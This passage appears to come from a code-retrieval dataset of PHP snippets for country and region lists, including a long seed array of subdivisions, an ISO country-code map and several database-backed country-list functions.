['country_id' => '230', 'name' => 'north humberside'],\n ['country_id' => '230', 'name' => 'north yorkshire'],\n ['country_id' => '230', 'name' => 'northamptonshire'],\n ['country_id' => '230', 'name' => 'northants'],\n ['country_id' => '230', 'name' => 'northern ireland'],\n ['country_id' => '230', 'name' => 'northumberland'],\n ['country_id' => '230', 'name' => 'nottinghamshire'],\n ['country_id' => '230', 'name' => 'oxford'],\n ['country_id' => '230', 'name' => 'powys'],\n ['country_id' => '230', 'name' => 'roos-shire'],\n ['country_id' => '230', 'name' => 'sussex'],\n ['country_id' => '230', 'name' => 'sark'],\n ['country_id' => '230', 'name' => 'scotland'],\n ['country_id' => '230', 'name' => 'scottish borders'],\n ['country_id' => '230', 'name' => 'shropshire'],\n ['country_id' => '230', 'name' => 'somerset'],\n ['country_id' => '230', 'name' => 'south glamorgan'],\n ['country_id' => '230', 'name' => 'south wales'],\n ['country_id' => '230', 'name' => 'south yorkshire'],\n ['country_id' => '230', 'name' => 'southwell'],\n ['country_id' => '230', 'name' => 'staffordshire'],\n ['country_id' => '230', 'name' => 'strabane'],\n ['country_id' => '230', 'name' => 'suffolk'],\n ['country_id' => '230', 'name' => 'surrey'],\n ['country_id' => '230', 'name' => 'sussex'],\n ['country_id' => '230', 'name' => 'twickenham'],\n ['country_id' => '230', 'name' => 'tyne and wear'],\n ['country_id' => '230', 'name' => 'tyrone'],\n ['country_id' => '230', 'name' => 'utah'],\n ['country_id' => '230', 'name' => 'wales'],\n ['country_id' => '230', 'name' => 'warwickshire'],\n ['country_id' => '230', 'name' => 'west lothian'],\n ['country_id' => '230', 'name' => 'west midlands'],\n ['country_id' => '230', 'name' => 'west sussex'],\n ['country_id' => '230', 'name' => 'west yorkshire'],\n ['country_id' => '230', 'name' => 'whissendine'],\n ['country_id' => '230', 'name' => 'wiltshire'],\n ['country_id' => '230', 'name' => 'wokingham'],\n ['country_id' => '230', 'name' => 'worcestershire'],\n ['country_id' => '230', 'name' => 'wrexham'],\n ['country_id' => '230', 'name' => 'wurttemberg'],\n ['country_id' => '230', 'name' => 'yorkshire'],\n ['country_id' => '231', 'name' => 'alabama'],\n ['country_id' => '231', 'name' => 'alaska'],\n ['country_id' => '231', 'name' => 'arizona'],\n ['country_id' => '231', 'name' => 'arkansas'],\n ['country_id' => '231', 'name' => 'byram'],\n ['country_id' => '231', 'name' => 'california'],\n ['country_id' => '231', 'name' => 'cokato'],\n ['country_id' => '231', 'name' => 'colorado'],\n ['country_id' => '231', 'name' => 'connecticut'],\n ['country_id' => '231', 'name' => 'delaware'],\n ['country_id' => '231', 'name' => 'district of columbia'],\n ['country_id' => '231', 'name' => 'florida'],\n ['country_id' => '231', 'name' => 'georgia'],\n ['country_id' => '231', 'name' => 'hawaii'],\n ['country_id' => '231', 'name' => 'idaho'],\n ['country_id' => '231', 'name' => 'illinois'],\n ['country_id' => '231', 'name' => 'indiana'],\n ['country_id' => '231', 'name' => 'iowa'],\n ['country_id' => '231', 'name' => 'kansas'],\n ['country_id' => '231', 'name' => 'kentucky'],\n ['country_id' => '231', 'name' => 'louisiana'],\n ['country_id' => '231', 'name' => 'lowa'],\n ['country_id' => '231', 'name' => 'maine'],\n ['country_id' => '231', 'name' => 'maryland'],\n ['country_id' => '231', 'name' => 'massachusetts'],\n ['country_id' => '231', 'name' => 'medfield'],\n ['country_id' => '231', 'name' => 'michigan'],\n ['country_id' => '231', 'name' => 'minnesota'],\n ['country_id' => '231', 'name' => 'mississippi'],\n ['country_id' => '231', 'name' => 'missouri'],\n ['country_id' => '231', 'name' => 'montana'],\n ['country_id' => '231', 'name' => 'nebraska'],\n ['country_id' => '231', 'name' => 'nevada'],\n ['country_id' => '231', 'name' => 'new hampshire'],\n ['country_id' => '231', 'name' => 'new jersey'],\n ['country_id' => '231', 'name' => 'new jersy'],\n ['country_id' => '231', 'name' => 'new mexico'],\n ['country_id' => '231', 'name' => 'new york'],\n ['country_id' => '231', 'name' => 'north carolina'],\n ['country_id' => '231', 'name' => 'north dakota'],\n ['country_id' => '231', 'name' => 'ohio'],\n ['country_id' => '231', 'name' => 'oklahoma'],\n ['country_id' => '231', 'name' => 'ontario'],\n ['country_id' => '231', 'name' => 'oregon'],\n ['country_id' => '231', 'name' => 'pennsylvania'],\n ['country_id' => '231', 'name' => 'ramey'],\n ['country_id' => '231', 'name' => 'rhode island'],\n ['country_id' => '231', 'name' => 'south carolina'],\n ['country_id' => '231', 'name' => 'south dakota'],\n ['country_id' => '231', 'name' => 'sublimity'],\n ['country_id' => '231', 'name' => 'tennessee'],\n ['country_id' => '231', 'name' => 'texas'],\n ['country_id' => '231', 'name' => 'trimble'],\n ['country_id' => '231', 'name' => 'utah'],\n ['country_id' => '231', 'name' => 'vermont'],\n ['country_id' => '231', 'name' => 'virginia'],\n ['country_id' => '231', 'name' => 'washington'],\n ['country_id' => '231', 'name' => 'west virginia'],\n ['country_id' => '231', 'name' => 'wisconsin'],\n ['country_id' => '231', 'name' => 'wyoming'],\n ['country_id' => '232', 'name' => 'united states minor outlying i'],\n ['country_id' => '233', 'name' => 'artigas'],\n ['country_id' => '233', 'name' => 'canelones'],\n ['country_id' => '233', 'name' => 'cerro largo'],\n ['country_id' => '233', 'name' => 'colonia'],\n ['country_id' => '233', 'name' => 'durazno'],\n ['country_id' => '233', 'name' => 'florida'],\n ['country_id' => '233', 'name' => 'flores'],\n ['country_id' => '233', 'name' => 'lavalleja'],\n ['country_id' => '233', 'name' => 'maldonado'],\n ['country_id' => '233', 'name' => 'montevideo'],\n ['country_id' => '233', 'name' => 'paysandu'],\n ['country_id' => '233', 'name' => 'rio negro'],\n ['country_id' => '233', 'name' => 'rivera'],\n ['country_id' => '233', 'name' => 'rocha'],\n ['country_id' => '233', 'name' => 'salto'],\n ['country_id' => '233', 'name' => 'san jose'],\n ['country_id' => '233', 'name' => 'soriano'],\n ['country_id' => '233', 'name' => 'tacuarembo'],\n ['country_id' => '233', 'name' => 'treinta y tres'],\n ['country_id' => '234', 'name' => 'andijon'],\n ['country_id' => '234', 'name' => 'buhoro'],\n ['country_id' => '234', 'name' => 'buxoro viloyati'],\n ['country_id' => '234', 'name' => 'cizah'],\n ['country_id' => '234', 'name' => 'fargona'],\n ['country_id' => '234', 'name' => 'horazm'],\n ['country_id' => '234', 'name' => 'kaskadar'],\n ['country_id' => '234', 'name' => 'korakalpogiston'],\n ['country_id' => '234', 'name' => 'namangan'],\n ['country_id' => '234', 'name' => 'navoi'],\n ['country_id' => '234', 'name' => 'samarkand'],\n ['country_id' => '234', 'name' => 'sirdare'],\n ['country_id' => '234', 'name' => 'surhondar'],\n ['country_id' => '234', 'name' => 'toskent'],\n ['country_id' => '235', 'name' => 'malampa'],\n ['country_id' => '235', 'name' => 'penama'],\n ['country_id' => '235', 'name' => 'sanma'],\n ['country_id' => '235', 'name' => 'shefa'],\n ['country_id' => '235', 'name' => 'tafea'],\n ['country_id' => '235', 'name' => 'torba'],\n ['country_id' => '236', 'name' => 'vatican city state (holy see)'],\n ['country_id' => '237', 'name' => 'amazonas'],\n ['country_id' => '237', 'name' => 'anzoategui'],\n ['country_id' => '237', 'name' => 'apure'],\n ['country_id' => '237', 'name' => 'aragua'],\n ['country_id' => '237', 'name' => 'barinas'],\n ['country_id' => '237', 'name' => 'bolivar'],\n ['country_id' => '237', 'name' => 'carabobo'],\n ['country_id' => '237', 'name' => 'cojedes'],\n ['country_id' => '237', 'name' => 'delta amacuro'],\n ['country_id' => '237', 'name' => 'distrito federal'],\n ['country_id' => '237', 'name' => 'falcon'],\n ['country_id' => '237', 'name' => 'guarico'],\n ['country_id' => '237', 'name' => 'lara'],\n ['country_id' => '237', 'name' => 'merida'],\n ['country_id' => '237', 'name' => 'miranda'],\n ['country_id' => '237', 'name' => 'monagas'],\n ['country_id' => '237', 'name' => 'nueva esparta'],\n ['country_id' => '237', 'name' => 'portuguesa'],\n ['country_id' => '237', 'name' => 'sucre'],\n ['country_id' => '237', 'name' => 'tachira'],\n ['country_id' => '237', 'name' => 'trujillo'],\n ['country_id' => '237', 'name' => 'vargas'],\n ['country_id' => '237', 'name' => 'yaracuy'],\n ['country_id' => '237', 'name' => 'zulia'],\n ['country_id' => '238', 'name' => 'bac giang'],\n ['country_id' => '238', 'name' => 'binh dinh'],\n ['country_id' => '238', 'name' => 'binh duong'],\n ['country_id' => '238', 'name' => 'da nang'],\n ['country_id' => '238', 'name' => 'dong bang song cuu long'],\n ['country_id' => '238', 'name' => 'dong bang song hong'],\n ['country_id' => '238', 'name' => 'dong nai'],\n ['country_id' => '238', 'name' => 'dong nam bo'],\n ['country_id' => '238', 'name' => 'duyen hai mien trung'],\n ['country_id' => '238', 'name' => 'hanoi'],\n ['country_id' => '238', 'name' => 'hung yen'],\n ['country_id' => '238', 'name' => 'khu bon cu'],\n ['country_id' => '238', 'name' => 'long an'],\n ['country_id' => '238', 'name' => 'mien nui va trung du'],\n ['country_id' => '238', 'name' => 'thai nguyen'],\n ['country_id' => '238', 'name' => 'thanh pho ho chi minh'],\n ['country_id' => '238', 'name' => 'thu do ha noi'],\n ['country_id' => '238', 'name' => 'tinh can tho'],\n ['country_id' => '238', 'name' => 'tinh da nang'],\n ['country_id' => '238', 'name' => 'tinh gia lai'],\n ['country_id' => '239', 'name' => 'anegada'],\n ['country_id' => '239', 'name' => 'jost van dyke'],\n ['country_id' => '239', 'name' => 'tortola'],\n ['country_id' => '240', 'name' => 'saint croix'],\n ['country_id' => '240', 'name' => 'saint john'],\n ['country_id' => '240', 'name' => 'saint thomas'],\n ['country_id' => '241', 'name' => 'alo'],\n ['country_id' => '241', 'name' => 'singave'],\n ['country_id' => '241', 'name' => 'wallis'],\n ['country_id' => '242', 'name' => 'bu jaydur'],\n ['country_id' => '242', 'name' => 'wad-adh-dhahab'],\n ['country_id' => '242', 'name' => 'al-\\'ayun'],\n ['country_id' => '242', 'name' => 'as-samarah'],\n ['country_id' => '243', 'name' => '\\'adan'],\n ['country_id' => '243', 'name' => 'abyan'],\n ['country_id' => '243', 'name' => 'dhamar'],\n ['country_id' => '243', 'name' => 'hadramaut'],\n ['country_id' => '243', 'name' => 'hajjah'],\n ['country_id' => '243', 'name' => 'hudaydah'],\n ['country_id' => '243', 'name' => 'ibb'],\n ['country_id' => '243', 'name' => 'lahij'],\n ['country_id' => '243', 'name' => 'ma\\'rib'],\n ['country_id' => '243', 'name' => 'madinat san\\'a'],\n ['country_id' => '243', 'name' => 'sa\\'dah'],\n ['country_id' => '243', 'name' => 'sana'],\n ['country_id' => '243', 'name' => 'shabwah'],\n ['country_id' => '243', 'name' => 'ta\\'izz'],\n ['country_id' => '243', 'name' => 'al-bayda'],\n ['country_id' => '243', 'name' => 'al-hudaydah'],\n ['country_id' => '243', 'name' => 'al-jawf'],\n ['country_id' => '243', 'name' => 'al-mahrah'],\n ['country_id' => '243', 'name' => 'al-mahwit'],\n ['country_id' => '244', 'name' => 'central serbia'],\n ['country_id' => '244', 'name' => 'kosovo and metohija'],\n ['country_id' => '244', 'name' => 'montenegro'],\n ['country_id' => '244', 'name' => 'republic of serbia'],\n ['country_id' => '244', 'name' => 'serbia'],\n ['country_id' => '244', 'name' => 'vojvodina'],\n ['country_id' => '245', 'name' => 'central'],\n ['country_id' => '245', 'name' => 'copperbelt'],\n ['country_id' => '245', 'name' => 'eastern'],\n ['country_id' => '245', 'name' => 'luapala'],\n ['country_id' => '245', 'name' => 'lusaka'],\n ['country_id' => '245', 'name' => 'north-western'],\n ['country_id' => '245', 'name' => 'northern'],\n ['country_id' => '245', 'name' => 'southern'],\n ['country_id' => '245', 'name' => 'western'],\n ['country_id' => '246', 'name' => 'bulawayo'],\n ['country_id' => '246', 'name' => 'harare'],\n ['country_id' => '246', 'name' => 'manicaland'],\n ['country_id' => '246', 'name' => 'mashonaland central'],\n ['country_id' => '246', 'name' => 'mashonaland east'],\n ['country_id' => '246', 'name' => 'mashonaland west'],\n ['country_id' => '246', 'name' => 'masvingo'],\n ['country_id' => '246', 'name' => 'matabeleland north'],\n ['country_id' => '246', 'name' => 'matabeleland south'],\n ['country_id' => '246', 'name' => 'midlands']\n ];\n\n }", "title": "" }, { "docid": "1bfb8cf24c1e52be95afe770ea0b17d4", "score": "0.54054624", "text": "protected function countries()\n {\n return ['' => '', 'United States of America' => 'United States'];\n }", "title": "" }, { "docid": "770b4d56cbe52acf6d3f4927754f8eab", "score": "0.5402085", "text": "public static function listAbbreviations()\n\t{\n\t\treturn ['dst' => 0, 'offset' => 0, 'timezone_id' => 'Zero Null Date TimeZone'];\n\t}", "title": "" }, { "docid": "988f087c1c5e46eedb40f812fa1f1954", "score": "0.53900826", "text": "function get_countries($code = ''){\n\t\t$countries = array\n\t\t(\n\t\t\t\"AF\" => \"Afghanistan\",\n\t\t\t\"AL\" => \"Albania\",\n\t\t\t\"DZ\" => \"Algeria\",\n\t\t\t\"AS\" => \"American Samoa\",\n\t\t\t\"AD\" => \"Andorra\",\n\t\t\t\"AO\" => \"Angola\",\n\t\t\t\"AI\" => \"Anguilla\",\n\t\t\t\"AQ\" => \"Antarctica\",\n\t\t\t\"AG\" => \"Antigua and Barbuda\",\n\t\t\t\"AR\" => \"Argentina\",\n\t\t\t\"AM\" => \"Armenia\",\n\t\t\t\"AW\" => \"Aruba\",\n\t\t\t\"AU\" => \"Australia\",\n\t\t\t\"AT\" => \"Austria\",\n\t\t\t\"AZ\" => \"Azerbaijan\",\n\t\t\t\"BS\" => \"Bahamas\",\n\t\t\t\"BH\" => \"Bahrain\",\n\t\t\t\"BD\" => \"Bangladesh\",\n\t\t\t\"BB\" => \"Barbados\",\n\t\t\t\"BY\" => \"Belarus\",\n\t\t\t\"BE\" => \"Belgium\",\n\t\t\t\"BZ\" => \"Belize\",\n\t\t\t\"BJ\" => \"Benin\",\n\t\t\t\"BM\" => \"Bermuda\",\n\t\t\t\"BT\" => \"Bhutan\",\n\t\t\t\"BO\" => \"Bolivia\",\n\t\t\t\"BA\" => \"Bosnia and Herzegowina\",\n\t\t\t\"BW\" => \"Botswana\",\n\t\t\t\"BV\" => \"Bouvet Island\",\n\t\t\t\"BR\" => \"Brazil\",\n\t\t\t\"IO\" => \"British Indian Ocean Territory\",\n\t\t\t\"BN\" => \"Brunei Darussalam\",\n\t\t\t\"BG\" => \"Bulgaria\",\n\t\t\t\"BF\" => \"Burkina Faso\",\n\t\t\t\"BI\" => \"Burundi\",\n\t\t\t\"KH\" => \"Cambodia\",\n\t\t\t\"CM\" => \"Cameroon\",\n\t\t\t\"CA\" => \"Canada\",\n\t\t\t\"CV\" => \"Cape Verde\",\n\t\t\t\"KY\" => \"Cayman Islands\",\n\t\t\t\"CF\" => \"Central African Republic\",\n\t\t\t\"TD\" => \"Chad\",\n\t\t\t\"CL\" => \"Chile\",\n\t\t\t\"CN\" => \"China\",\n\t\t\t\"CX\" => \"Christmas Island\",\n\t\t\t\"CC\" => \"Cocos (Keeling) Islands\",\n\t\t\t\"CO\" => \"Colombia\",\n\t\t\t\"KM\" => \"Comoros\",\n\t\t\t\"CG\" => \"Congo\",\n\t\t\t\"CD\" => \"Congo, the Democratic Republic of the\",\n\t\t\t\"CK\" => \"Cook Islands\",\n\t\t\t\"CR\" => \"Costa Rica\",\n\t\t\t\"CI\" => \"Cote d'Ivoire\",\n\t\t\t\"HR\" => \"Croatia (Hrvatska)\",\n\t\t\t\"CU\" => \"Cuba\",\n\t\t\t\"CY\" => \"Cyprus\",\n\t\t\t\"CZ\" => \"Czech Republic\",\n\t\t\t\"DK\" => \"Denmark\",\n\t\t\t\"DJ\" => \"Djibouti\",\n\t\t\t\"DM\" => \"Dominica\",\n\t\t\t\"DO\" => \"Dominican Republic\",\n\t\t\t\"TP\" => \"East Timor\",\n\t\t\t\"EC\" => \"Ecuador\",\n\t\t\t\"EG\" => \"Egypt\",\n\t\t\t\"SV\" => \"El Salvador\",\n\t\t\t\"GQ\" => \"Equatorial Guinea\",\n\t\t\t\"ER\" => \"Eritrea\",\n\t\t\t\"EE\" => \"Estonia\",\n\t\t\t\"ET\" => \"Ethiopia\",\n\t\t\t\"FK\" => \"Falkland Islands (Malvinas)\",\n\t\t\t\"FO\" => \"Faroe Islands\",\n\t\t\t\"FJ\" => \"Fiji\",\n\t\t\t\"FI\" => \"Finland\",\n\t\t\t\"FR\" => \"France\",\n\t\t\t\"FX\" => \"France, Metropolitan\",\n\t\t\t\"GF\" => \"French Guiana\",\n\t\t\t\"PF\" => \"French Polynesia\",\n\t\t\t\"TF\" => \"French Southern Territories\",\n\t\t\t\"GA\" => \"Gabon\",\n\t\t\t\"GM\" => \"Gambia\",\n\t\t\t\"GE\" => \"Georgia\",\n\t\t\t\"DE\" => \"Germany\",\n\t\t\t\"GH\" => \"Ghana\",\n\t\t\t\"GI\" => \"Gibraltar\",\n\t\t\t\"GR\" => \"Greece\",\n\t\t\t\"GL\" => \"Greenland\",\n\t\t\t\"GD\" => \"Grenada\",\n\t\t\t\"GP\" => \"Guadeloupe\",\n\t\t\t\"GU\" => \"Guam\",\n\t\t\t\"GT\" => \"Guatemala\",\n\t\t\t\"GN\" => \"Guinea\",\n\t\t\t\"GW\" => \"Guinea-Bissau\",\n\t\t\t\"GY\" => \"Guyana\",\n\t\t\t\"HT\" => \"Haiti\",\n\t\t\t\"HM\" => \"Heard and Mc Donald Islands\",\n\t\t\t\"VA\" => \"Holy See (Vatican City State)\",\n\t\t\t\"HN\" => \"Honduras\",\n\t\t\t\"HK\" => \"Hong Kong\",\n\t\t\t\"HU\" => \"Hungary\",\n\t\t\t\"IS\" => \"Iceland\",\n\t\t\t\"IN\" => \"India\",\n\t\t\t\"ID\" => \"Indonesia\",\n\t\t\t\"IR\" => \"Iran (Islamic Republic of)\",\n\t\t\t\"IQ\" => \"Iraq\",\n\t\t\t\"IE\" => \"Ireland\",\n\t\t\t\"IL\" => \"Israel\",\n\t\t\t\"IT\" => \"Italy\",\n\t\t\t\"JM\" => \"Jamaica\",\n\t\t\t\"JP\" => \"Japan\",\n\t\t\t\"JO\" => \"Jordan\",\n\t\t\t\"KZ\" => \"Kazakhstan\",\n\t\t\t\"KE\" => \"Kenya\",\n\t\t\t\"KI\" => \"Kiribati\",\n\t\t\t\"KP\" => \"Korea, Democratic People's Republic of\",\n\t\t\t\"KR\" => \"Korea, Republic of\",\n\t\t\t\"KW\" => \"Kuwait\",\n\t\t\t\"KG\" => \"Kyrgyzstan\",\n\t\t\t\"LA\" => \"Lao People's Democratic Republic\",\n\t\t\t\"LV\" => \"Latvia\",\n\t\t\t\"LB\" => \"Lebanon\",\n\t\t\t\"LS\" => \"Lesotho\",\n\t\t\t\"LR\" => \"Liberia\",\n\t\t\t\"LY\" => \"Libyan Arab Jamahiriya\",\n\t\t\t\"LI\" => \"Liechtenstein\",\n\t\t\t\"LT\" => \"Lithuania\",\n\t\t\t\"LU\" => \"Luxembourg\",\n\t\t\t\"MO\" => \"Macau\",\n\t\t\t\"MK\" => \"Macedonia, The Former Yugoslav Republic of\",\n\t\t\t\"MG\" => \"Madagascar\",\n\t\t\t\"MW\" => \"Malawi\",\n\t\t\t\"MY\" => \"Malaysia\",\n\t\t\t\"MV\" => \"Maldives\",\n\t\t\t\"ML\" => \"Mali\",\n\t\t\t\"MT\" => \"Malta\",\n\t\t\t\"MH\" => \"Marshall Islands\",\n\t\t\t\"MQ\" => \"Martinique\",\n\t\t\t\"MR\" => \"Mauritania\",\n\t\t\t\"MU\" => \"Mauritius\",\n\t\t\t\"YT\" => \"Mayotte\",\n\t\t\t\"MX\" => \"Mexico\",\n\t\t\t\"FM\" => \"Micronesia, Federated States of\",\n\t\t\t\"MD\" => \"Moldova, Republic of\",\n\t\t\t\"MC\" => \"Monaco\",\n\t\t\t\"MN\" => \"Mongolia\",\n\t\t\t\"MS\" => \"Montserrat\",\n\t\t\t\"MA\" => \"Morocco\",\n\t\t\t\"MZ\" => \"Mozambique\",\n\t\t\t\"MM\" => \"Myanmar\",\n\t\t\t\"NA\" => \"Namibia\",\n\t\t\t\"NR\" => \"Nauru\",\n\t\t\t\"NP\" => \"Nepal\",\n\t\t\t\"NL\" => \"Netherlands\",\n\t\t\t\"AN\" => \"Netherlands Antilles\",\n\t\t\t\"NC\" => \"New Caledonia\",\n\t\t\t\"NZ\" => \"New Zealand\",\n\t\t\t\"NI\" => \"Nicaragua\",\n\t\t\t\"NE\" => \"Niger\",\n\t\t\t\"NG\" => \"Nigeria\",\n\t\t\t\"NU\" => \"Niue\",\n\t\t\t\"NF\" => \"Norfolk Island\",\n\t\t\t\"MP\" => \"Northern Mariana Islands\",\n\t\t\t\"NO\" => \"Norway\",\n\t\t\t\"OM\" => \"Oman\",\n\t\t\t\"PK\" => \"Pakistan\",\n\t\t\t\"PW\" => \"Palau\",\n\t\t\t\"PA\" => \"Panama\",\n\t\t\t\"PG\" => \"Papua New Guinea\",\n\t\t\t\"PY\" => \"Paraguay\",\n\t\t\t\"PE\" => \"Peru\",\n\t\t\t\"PH\" => \"Philippines\",\n\t\t\t\"PN\" => \"Pitcairn\",\n\t\t\t\"PL\" => \"Poland\",\n\t\t\t\"PT\" => \"Portugal\",\n\t\t\t\"PR\" => \"Puerto Rico\",\n\t\t\t\"QA\" => \"Qatar\",\n\t\t\t\"RE\" => \"Reunion\",\n\t\t\t\"RO\" => \"Romania\",\n\t\t\t\"RU\" => \"Russian Federation\",\n\t\t\t\"RW\" => \"Rwanda\",\n\t\t\t\"KN\" => \"Saint Kitts and Nevis\",\n\t\t\t\"LC\" => \"Saint LUCIA\",\n\t\t\t\"VC\" => \"Saint Vincent and the Grenadines\",\n\t\t\t\"WS\" => \"Samoa\",\n\t\t\t\"SM\" => \"San Marino\",\n\t\t\t\"ST\" => \"Sao Tome and Principe\",\n\t\t\t\"SA\" => \"Saudi Arabia\",\n\t\t\t\"SN\" => \"Senegal\",\n\t\t\t\"SC\" => \"Seychelles\",\n\t\t\t\"SL\" => \"Sierra Leone\",\n\t\t\t\"SG\" => \"Singapore\",\n\t\t\t\"SK\" => \"Slovakia (Slovak Republic)\",\n\t\t\t\"SI\" => \"Slovenia\",\n\t\t\t\"SB\" => \"Solomon Islands\",\n\t\t\t\"SO\" => \"Somalia\",\n\t\t\t\"ZA\" => \"South Africa\",\n\t\t\t\"GS\" => \"South Georgia and the South Sandwich Islands\",\n\t\t\t\"ES\" => \"Spain\",\n\t\t\t\"LK\" => \"Sri Lanka\",\n\t\t\t\"SH\" => \"St. Helena\",\n\t\t\t\"PM\" => \"St. Pierre and Miquelon\",\n\t\t\t\"SD\" => \"Sudan\",\n\t\t\t\"SR\" => \"Suriname\",\n\t\t\t\"SJ\" => \"Svalbard and Jan Mayen Islands\",\n\t\t\t\"SZ\" => \"Swaziland\",\n\t\t\t\"SE\" => \"Sweden\",\n\t\t\t\"CH\" => \"Switzerland\",\n\t\t\t\"SY\" => \"Syrian Arab Republic\",\n\t\t\t\"TW\" => \"Taiwan, Province of China\",\n\t\t\t\"TJ\" => \"Tajikistan\",\n\t\t\t\"TZ\" => \"Tanzania, United Republic of\",\n\t\t\t\"TH\" => \"Thailand\",\n\t\t\t\"TG\" => \"Togo\",\n\t\t\t\"TK\" => \"Tokelau\",\n\t\t\t\"TO\" => \"Tonga\",\n\t\t\t\"TT\" => \"Trinidad and Tobago\",\n\t\t\t\"TN\" => \"Tunisia\",\n\t\t\t\"TR\" => \"Turkey\",\n\t\t\t\"TM\" => \"Turkmenistan\",\n\t\t\t\"TC\" => \"Turks and Caicos Islands\",\n\t\t\t\"TV\" => \"Tuvalu\",\n\t\t\t\"UG\" => \"Uganda\",\n\t\t\t\"UA\" => \"Ukraine\",\n\t\t\t\"AE\" => \"United Arab Emirates\",\n\t\t\t\"GB\" => \"United Kingdom\",\n\t\t\t\"US\" => \"United States\",\n\t\t\t\"UM\" => \"United States Minor Outlying Islands\",\n\t\t\t\"UY\" => \"Uruguay\",\n\t\t\t\"UZ\" => \"Uzbekistan\",\n\t\t\t\"VU\" => \"Vanuatu\",\n\t\t\t\"VE\" => \"Venezuela\",\n\t\t\t\"VN\" => \"Viet Nam\",\n\t\t\t\"VG\" => \"Virgin Islands (British)\",\n\t\t\t\"VI\" => \"Virgin Islands (U.S.)\",\n\t\t\t\"WF\" => \"Wallis and Futuna Islands\",\n\t\t\t\"EH\" => \"Western Sahara\",\n\t\t\t\"YE\" => \"Yemen\",\n\t\t\t\"YU\" => \"Yugoslavia\",\n\t\t\t\"ZM\" => \"Zambia\",\n\t\t\t\"ZW\" => \"Zimbabwe\",\t\t\t\n\t\t\t);\n\t\t\t\n\t\tif ('' !== $code)\n\t\t{\n\t\t\t$code = strtoupper($code);\n\t\t\tif (isset($countries[$code])) { return $countries[$code]; }\n\t\t}\n\n\t\treturn '';\n\t}", "title": "" }, { "docid": "f859eb6b92cef201b0dfb4bfb2e57056", "score": "0.5388403", "text": "public function listAbbreviations()\n {\n }", "title": "" }, { "docid": "562f0f5e73ea754d37732d821d08731e", "score": "0.5364861", "text": "public function getCountryListAction()\n\t{\n\t\t$country_collec = \\Extended\\country_ref::getAllCountriesUsersRegisteredFrom();\n\t\t\n\t\tforeach ($country_collec as $key=>$country_obj)\n\t\t{\n\t\t\t$country_array[$key]['id'] = $country_obj->getId();\n\t\t\t$country_array[$key]['name'] \t= $country_obj->getName();\n\t\t}\n\t\t\n\t\tif($country_collec)\n\t\t{\n\t\t\techo Zend_Json::encode($country_array);\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo Zend_Json::encode( 0 );\n\t\t}\n\t\tdie;\n\t}", "title": "" }, { "docid": "f7277338cbdf2cd3f0c3f9f482828e70", "score": "0.53636837", "text": "public function getCountryList(){\n return $this->getCountryCollection()->toOptionArray(false);\n }", "title": "" }, { "docid": "bc83a9e3182c3c723ed057e4f2d3ab95", "score": "0.5360545", "text": "public function get_countries_list($url)\n {\n $html_raw = file_get_html($url);\n $countries_list = null;\n $html_countries_elements = $html_raw->find('#main_table_countries_today tbody tr td a.mt_a');\n foreach ($html_countries_elements as $k => $elements) {\n $countries_list[$elements->innertext()] = $this->pick_nation_name_from_href($elements->href);\n }\n return $countries_list;\n }", "title": "" }, { "docid": "de548aa9ace917fff7e4206f8583849e", "score": "0.53547233", "text": "public function showCountry($country)\n { \n $estates = Estate::where('country', $country)->get();\n if ($estates ->isEmpty()){\n // Error Handling\n $res['Error'] = \"No Estates found\";\n return response()->json($res, 404); \n }else\n \n $allestates = EstateResource::collection($estates); //Use Resource to format Output \n return response()->json($allestates); \n }", "title": "" }, { "docid": "1ec4c99184671dbb020797b9090649c6", "score": "0.53534144", "text": "function countries($longlist = false, $hydrate = false)\n {\n return CountryLoader::countries($longlist, $hydrate);\n }", "title": "" }, { "docid": "c37fd5ff3f11efaeca035c0e1d3c6e9b", "score": "0.5342719", "text": "function osc_js_zone_list($country, $form, $field) {\n $countries_query = osc_db_query(\"select distinct zone_country_id from \" . TABLE_ZONES . \" order by zone_country_id\");\n $num_country = 1;\n $output_string = '';\n while ($countries = osc_db_fetch_array($countries_query)) {\n if ($num_country == 1) {\n $output_string .= ' if (' . $country . ' == \"' . $countries['zone_country_id'] . '\") {' . \"\\n\";\n } else {\n $output_string .= ' } else if (' . $country . ' == \"' . $countries['zone_country_id'] . '\") {' . \"\\n\";\n }\n\n $states_query = osc_db_query(\"select zone_name, zone_id from \" . TABLE_ZONES . \" where zone_country_id = '\" . $countries['zone_country_id'] . \"' order by zone_name\");\n\n $num_state = 1;\n while ($states = osc_db_fetch_array($states_query)) {\n if ($num_state == '1') $output_string .= ' ' . $form . '.' . $field . '.options[0] = new Option(\"' . PLEASE_SELECT . '\", \"\");' . \"\\n\";\n $output_string .= ' ' . $form . '.' . $field . '.options[' . $num_state . '] = new Option(\"' . $states['zone_name'] . '\", \"' . $states['zone_id'] . '\");' . \"\\n\";\n $num_state++;\n }\n $num_country++;\n }\n $output_string .= ' } else {' . \"\\n\" .\n ' ' . $form . '.' . $field . '.options[0] = new Option(\"' . TYPE_BELOW . '\", \"\");' . \"\\n\" .\n ' }' . \"\\n\";\n\n return $output_string;\n }", "title": "" }, { "docid": "ac5c457655deee77509f7d25fb6e4ebf", "score": "0.5335215", "text": "function fetch_countries_by_region_array($region = '')\r\n{\r\n\tglobal $ilance;\r\n\t\r\n\t$query = \"\";\r\n\tif ($region != 'worldwide')\r\n\t{\r\n\t\t$returnarray = array();\r\n\t\t$fixedregion = str_replace('_', ' ', $region);\r\n\t\t$fixedregion = ucwords($fixedregion);\r\n\t\t$query = \"WHERE region = '\" . $ilance->db->escape_string($fixedregion) . \"'\";\r\n\t}\r\n\t\r\n\t$sql = $ilance->db->query(\"\r\n\t\tSELECT locationid, location_\" . $_SESSION['ilancedata']['user']['slng'] . \" AS location, cc, region\r\n\t\tFROM \" . DB_PREFIX . \"locations\r\n\t\t$query\r\n\t\tORDER BY locationid ASC\r\n\t\");\r\n\tif ($ilance->db->num_rows($sql) > 0)\r\n\t{\r\n\t\twhile ($res = $ilance->db->fetch_array($sql, DB_ASSOC))\r\n\t\t{\r\n\t\t\t$array['countryid'] = $res['locationid'];\r\n\t\t\t$array['country'] = $res['location'];\r\n\t\t\t$array['region'] = strtolower(str_replace(' ', '_', $res['region']));\r\n\t\t\t$array['iso'] = $res['cc'];\r\n\t\t\t$returnarray[] = $array;\r\n\t\t}\r\n\t}\r\n\t\r\n\treturn $returnarray;\r\n}", "title": "" }, { "docid": "15cf132721d95b867840d925612e3a69", "score": "0.53276056", "text": "public function getCountryList() {\n $regions = [];\n foreach ($this->countryManager->getList() as $region => $name) {\n $region_meta = $this->phoneUtils->getMetadataForRegion($region);\n if (is_object($region_meta)) {\n $regions[$region] = (string) new FormattableMarkup('@country - 